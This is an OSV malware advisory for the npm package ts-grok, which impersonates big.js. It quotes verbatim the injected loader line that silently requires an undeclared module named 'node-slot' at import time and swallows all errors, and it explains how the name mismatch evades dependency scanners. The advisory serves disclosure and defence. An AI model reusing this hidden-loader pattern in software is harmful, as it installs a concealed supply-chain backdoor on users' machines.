MAL-2026-6321

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-grok/MAL-2026-6321.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6321
Aliases
  • GHSA-qp73-r9hh-6vq9
Published
2026-06-23T16:11:24Z
Modified
2026-06-25T05:46:21.673158684Z
Summary
Malicious code in ts-grok (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d)

Package ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author 'Michael Mclaughlin', repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: try { const doc = require("node-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is 'block-slot' (^1.0.9), not 'node-slot' — the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever 'node-slot' resolves to in the installer's node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.

Source: ghsa-malware (7e224f66376c69706384d59f24df0dc4b00d80e10910320a75bb5be49d4e33d0)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-23T16:54:13.236632759Z",
            "modified_time": "2026-06-23T16:11:24Z",
            "sha256": "a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d",
            "versions": [
                "0.0.8"
            ],
            "id": "IN-MAL-2026-007267",
            "source": "amazon-inspector"
        },
        {
            "import_time": "2026-06-25T05:39:10.654465424Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "source": "ghsa-malware",
            "sha256": "7e224f66376c69706384d59f24df0dc4b00d80e10910320a75bb5be49d4e33d0",
            "id": "GHSA-qp73-r9hh-6vq9",
            "modified_time": "2026-06-25T04:29:43Z"
        }
    ]
}
References
Credits

Affected packages

npm / ts-grok

Package

Name
ts-grok
View open source insights on deps.dev
Purl
pkg:npm/ts-grok

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

0.*
0.0.8

Database specific

indicators 
{
    "evidence_files": [
        {
            "tlsh": "c6c2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc",
            "sha256": "442c54a9b0beff03159cb7dd3a59ad1c09dbe09f0bcec91df0a33a032a2e4f99",
            "path": "big.js"
        },
        {
            "tlsh": "b3210463c9a19da70af85b947c6c03aaf1161b1f04a05c5bb07b130c4b3355b2095b7d",
            "sha256": "739334ffdefefe319046de805c6062f07e589edb4880a7f6153d8aa0efb7b3e5",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "filename": "ts-grok-0.0.8.tgz",
            "hashes": {
                "sha1": "55fc69d040bbff102422d54f5ac62b4e80430a43",
                "sha512_sri": "sha512-hXK5Xw/okq+3SASoi0qwX5MRlQUnwzsXjmaRODEO/v+auPfYbz89BWpeySigTC5LbUhkkhwVwKV+JDfqnBL1tQ=="
            }
        }
    ]
}
cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-grok/MAL-2026-6321.json"